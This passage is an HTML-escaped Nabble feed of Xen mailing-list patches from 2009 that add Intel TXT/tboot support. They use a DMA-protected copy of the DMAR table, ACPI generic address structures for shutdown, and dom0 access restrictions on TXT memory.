&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_size: 0x%x\n&amp;quot;, tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_base: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_size: 0x%x\n&amp;quot;, tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Get TXT heaps/SINIT/Private Space addresses. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(TXT_PUB_CONFIG_REGS_BASE);
&lt;br&gt;@@ -98,16 +101,8 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;local_irq_disable();
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Create identity map for tboot shutdown code. */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( g_tboot_shared-&amp;gt;version &amp;gt;= 0x02 )
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_size = PFN_UP(g_tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;- &amp;nbsp; &amp;nbsp;else
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = 0;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_size = PFN_UP(0xa0000);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(g_tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;err = map_pages_to_xen(map_base &amp;lt;&amp;lt; PAGE_SHIFT, map_base, map_size,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __PAGE_HYPERVISOR);
&lt;br&gt;@@ -136,7 +131,7 @@ int tboot_in_measured_env(void)
&lt;br&gt;&lt;br&gt;&amp;nbsp;int tboot_in_range(paddr_t start, paddr_t end)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( g_tboot_shared == NULL || g_tboot_shared-&amp;gt;version &amp;lt; 0x02 )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !tboot_in_measured_env() )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;start = max_t(paddr_t, start, g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;diff -r a851239c01cb -r feb5e3c4a82d xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:43:15 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:44:38 2009 -0800
&lt;br&gt;@@ -53,19 +53,21 @@ typedef struct __packed {
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* used to communicate between tboot and the launched kernel (i.e. Xen) */
&lt;br&gt;&lt;br&gt;+typedef struct acpi_generic_address tboot_acpi_generic_address_t;
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;typedef struct __packed {
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1a_cnt;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1b_cnt;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1a_evt;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1b_evt;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1a_cnt_blk;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1b_cnt_blk;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1a_evt_blk;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1b_evt_blk;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1a_cnt_val;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1b_cnt_val;
&lt;br&gt;&amp;nbsp;} tboot_acpi_sleep_info;
&lt;br&gt;&lt;br&gt;&amp;nbsp;typedef struct __packed {
&lt;br&gt;- &amp;nbsp; &amp;nbsp;/* version 0x01+ fields: */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* version 3+ fields: */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uuid_t &amp;nbsp; &amp;nbsp;uuid; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* {663C8DFF-E8B3-4b82-AABF-19EA4D057A08} */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number: 0x01, 0x02, ... */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number; currently supports 0.3 */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;log_addr; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* physical addr of tb_log_t log */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry32; &amp;nbsp;/* entry point for tboot shutdown from 32b */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry64; &amp;nbsp;/* entry point for tboot shutdown from 64b */
&lt;br&gt;@@ -74,8 +76,6 @@ typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_k_wakeup_entry; /* entry point for xen s3 wake up */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;tboot_acpi_sleep_info
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;acpi_sinfo; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* where kernel put acpi sleep info in Sx */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint8_t &amp;nbsp; reserved[52]; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* this pad is for compat with old field */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;/* version 0x02+ fields: */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_base; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* starting addr for tboot */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_size; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* size of tboot */
&lt;br&gt;&amp;nbsp;} tboot_shared_t;
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557538&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-04-acpi_gas_support.patch&lt;/strong&gt; (10K) &lt;a href=&quot;http://old.nabble.com/attachment/21557538/0/xen-txt-04-acpi_gas_support.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-4-6---ACPI-Generic-Address-Structure-for-tboot-shutdown-tp21557538p21557538.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557535</id>
	<title>[PATCH] txt: 3/6 - use TXT's DMA-protected DMAR table to setup VT-d</title>
	<published>2009-01-19T21:49:21Z</published>
	<updated>2009-01-19T21:49:21Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">The VT-d DMAR ACPI tables may not be DMA protected by tboot. &amp;nbsp;However, SINIT saves a copy of them in the SinitMleData struct in the TXT heap (which is DMA protected). &amp;nbsp;So we should read the DMAR table from that copy if launched by tboot.
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557535&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r bde0fd053306 -r a851239c01cb xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:43:15 2009 -0800
&lt;br&gt;@@ -20,6 +20,9 @@ uint64_t txt_protmem_range_ends[TXT_PROT
&lt;br&gt;&amp;nbsp;uint64_t txt_protmem_range_ends[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;&lt;br&gt;&amp;nbsp;static const uuid_t tboot_shared_uuid = TBOOT_SHARED_UUID;
&lt;br&gt;+
&lt;br&gt;+/* used by tboot_probe() and tboot_parse_dmar_table() */
&lt;br&gt;+static uint64_t txt_heap_base, txt_heap_size;
&lt;br&gt;&lt;br&gt;&amp;nbsp;void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;@@ -68,6 +71,7 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_SIZE);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;txt_protmem_range_starts[0] = base;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;txt_protmem_range_ends[0] = base + size - 1;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_heap_base = base; txt_heap_size = size;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* SINIT */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_BASE);
&lt;br&gt;@@ -142,6 +146,56 @@ int tboot_in_range(paddr_t start, paddr_
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;return start &amp;lt; end;
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;+int __init tboot_parse_dmar_table(acpi_table_handler dmar_handler)
&lt;br&gt;+{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t map_base, map_size;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;unsigned long map_vaddr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;void *heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;struct acpi_table_header *dmar_table;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;int rc;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !tboot_in_measured_env() )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return acpi_table_parse(ACPI_SIG_DMAR, dmar_handler);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* ACPI tables may not be DMA protected by tboot, so use DMAR copy */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT saved in SinitMleData in TXT heap (which is DMA protected) */
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* map TXT heap into Xen addr space */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(txt_heap_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(txt_heap_size);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_vaddr = (unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( map_pages_to_xen(map_vaddr, map_base, map_size, __PAGE_HYPERVISOR) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* walk heap to SinitMleData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr = __va(txt_heap_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* skip BiosData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += *(uint64_t *)heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* skip OsMleData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += *(uint64_t *)heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* skip OsSinitData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += *(uint64_t *)heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* now points to SinitMleDataSize; set to SinitMleData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += sizeof(uint64_t);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* get addr of DMAR table */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;dmar_table = (struct acpi_table_header *)(heap_ptr +
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;((sinit_mle_data_t *)heap_ptr)-&amp;gt;vtd_dmars_off - sizeof(uint64_t));
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;rc = dmar_handler(dmar_table);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* acpi_parse_dmar() zaps APCI DMAR signature in TXT heap table */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* but dom0 will read real table, so must zap it there too */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;dmar_table = NULL;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;acpi_get_table(ACPI_SIG_DMAR, 0, &amp;dmar_table);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( dmar_table != NULL )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;((struct acpi_table_dmar *)dmar_table)-&amp;gt;header.signature[0] = '\0';
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;destroy_xen_mappings((unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT),
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (unsigned long)__va((map_base + map_size) &amp;lt;&amp;lt; PAGE_SHIFT));
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return rc;
&lt;br&gt;+}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;&amp;nbsp; * Local variables:
&lt;br&gt;&amp;nbsp; * mode: C
&lt;br&gt;diff -r bde0fd053306 -r a851239c01cb xen/drivers/passthrough/vtd/dmar.c
&lt;br&gt;--- a/xen/drivers/passthrough/vtd/dmar.c &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;+++ b/xen/drivers/passthrough/vtd/dmar.c &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:43:15 2009 -0800
&lt;br&gt;@@ -28,6 +28,7 @@
&lt;br&gt;&amp;nbsp;#include &amp;lt;xen/pci.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;xen/pci_regs.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/string.h&amp;gt;
&lt;br&gt;+#include &amp;lt;asm/tboot.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;quot;dmar.h&amp;quot;
&lt;br&gt;&lt;br&gt;&amp;nbsp;int vtd_enabled = 1;
&lt;br&gt;@@ -516,7 +517,9 @@ int acpi_dmar_init(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( !iommu_enabled )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;goto fail;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; &amp;nbsp;rc = acpi_table_parse(ACPI_SIG_DMAR, acpi_parse_dmar);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* ACPI tables may not be DMA protected by tboot, so use DMAR copy */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT saved in SinitMleData in TXT heap (which is DMA protected) */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;rc = tboot_parse_dmar_table(acpi_parse_dmar);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( rc )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;goto fail;
&lt;br&gt;&lt;br&gt;diff -r bde0fd053306 -r a851239c01cb xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:43:15 2009 -0800
&lt;br&gt;@@ -37,7 +37,13 @@
&lt;br&gt;&amp;nbsp;#ifndef __TBOOT_H__
&lt;br&gt;&amp;nbsp;#define __TBOOT_H__
&lt;br&gt;&lt;br&gt;-typedef struct __attribute__ ((__packed__)) {
&lt;br&gt;+#include &amp;lt;xen/acpi.h&amp;gt;
&lt;br&gt;+
&lt;br&gt;+#ifndef __packed
&lt;br&gt;+#define __packed &amp;nbsp; __attribute__ ((packed))
&lt;br&gt;+#endif
&lt;br&gt;+
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp;data1;
&lt;br&gt;&amp;nbsp; &amp;nbsp;uint16_t &amp;nbsp; &amp;nbsp;data2;
&lt;br&gt;&amp;nbsp; &amp;nbsp;uint16_t &amp;nbsp; &amp;nbsp;data3;
&lt;br&gt;@@ -47,7 +53,7 @@ typedef struct __attribute__ ((__packed_
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* used to communicate between tboot and the launched kernel (i.e. Xen) */
&lt;br&gt;&lt;br&gt;-typedef struct __attribute__ ((__packed__)) {
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1a_cnt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1b_cnt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1a_evt;
&lt;br&gt;@@ -56,7 +62,7 @@ typedef struct __attribute__ ((__packed_
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1b_cnt_val;
&lt;br&gt;&amp;nbsp;} tboot_acpi_sleep_info;
&lt;br&gt;&lt;br&gt;-typedef struct __attribute__ ((__packed__)) {
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* version 0x01+ fields: */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uuid_t &amp;nbsp; &amp;nbsp;uuid; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* {663C8DFF-E8B3-4b82-AABF-19EA4D057A08} */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number: 0x01, 0x02, ... */
&lt;br&gt;@@ -89,6 +95,7 @@ void tboot_probe(void);
&lt;br&gt;&amp;nbsp;void tboot_probe(void);
&lt;br&gt;&amp;nbsp;void tboot_shutdown(uint32_t shutdown_type);
&lt;br&gt;&amp;nbsp;int tboot_in_measured_env(void);
&lt;br&gt;+int tboot_parse_dmar_table(acpi_table_handler dmar_handler);
&lt;br&gt;&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;&amp;nbsp; * TXT configuration registers (offsets from TXT_{PUB, PRIV}_CONFIG_REGS_BASE)
&lt;br&gt;@@ -106,6 +113,27 @@ int tboot_in_measured_env(void);
&lt;br&gt;&amp;nbsp;#define TXTCR_HEAP_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0300
&lt;br&gt;&amp;nbsp;#define TXTCR_HEAP_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0308
&lt;br&gt;&lt;br&gt;+#define SHA1_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp;20
&lt;br&gt;+typedef uint8_t &amp;nbsp; sha1_hash_t[SHA1_SIZE];
&lt;br&gt;+
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* currently 6 */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;bios_acm_id;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; edx_senter_flags;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t &amp;nbsp; &amp;nbsp; mseg_valid;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;sinit_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;mle_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;stm_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;lcp_policy_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; lcp_policy_control;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; rlp_wakeup_addr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; reserved;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; num_mdrs;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; mdrs_off;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; num_vtd_dmars;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; vtd_dmars_off;
&lt;br&gt;+} sinit_mle_data_t;
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;#define TXT_PROTMEM_RANGE_MAX 3
&lt;br&gt;&amp;nbsp;extern uint64_t txt_protmem_range_starts[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;&amp;nbsp;extern uint64_t txt_protmem_range_ends[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557535&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-03-use_protected_dmar.patch&lt;/strong&gt; (8K) &lt;a href=&quot;http://old.nabble.com/attachment/21557535/0/xen-txt-03-use_protected_dmar.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-3-6---use-TXT%27s-DMA-protected-DMAR-table-to-setup-VT-d-tp21557535p21557535.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557519</id>
	<title>[PATCH] txt: 2/6 - explicitly protect TXT addr ranges from dom0</title>
	<published>2009-01-19T21:49:03Z</published>
	<updated>2009-01-19T21:49:03Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">tboot no longer marks the TXT heap/SINIT/private config space as E820_UNUSABLE in the e820 table, so Xen must explicitly disallow those regions from dom0.
&lt;br&gt;&lt;br&gt;Signed-off-by: Shane Wang &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557519&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&amp;gt;
&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557519&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r 3d294dba4255 -r bde0fd053306 xen/arch/x86/domain_build.c
&lt;br&gt;--- a/xen/arch/x86/domain_build.c &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:25:37 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/domain_build.c &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;@@ -29,6 +29,7 @@
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/paging.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/p2m.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/e820.h&amp;gt;
&lt;br&gt;+#include &amp;lt;asm/tboot.h&amp;gt;
&lt;br&gt;&lt;br&gt;&amp;nbsp;#include &amp;lt;public/version.h&amp;gt;
&lt;br&gt;&lt;br&gt;@@ -1038,6 +1039,20 @@ int __init construct_dom0(
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;rc |= iomem_deny_access(dom0, sfn, efn);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* Remove access to TXT Heap/SINIT/Private Space. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( tboot_in_measured_env() )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;unsigned long sfn, efn;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for ( i = 0; i &amp;lt; ARRAY_SIZE(txt_protmem_range_starts); i++ )
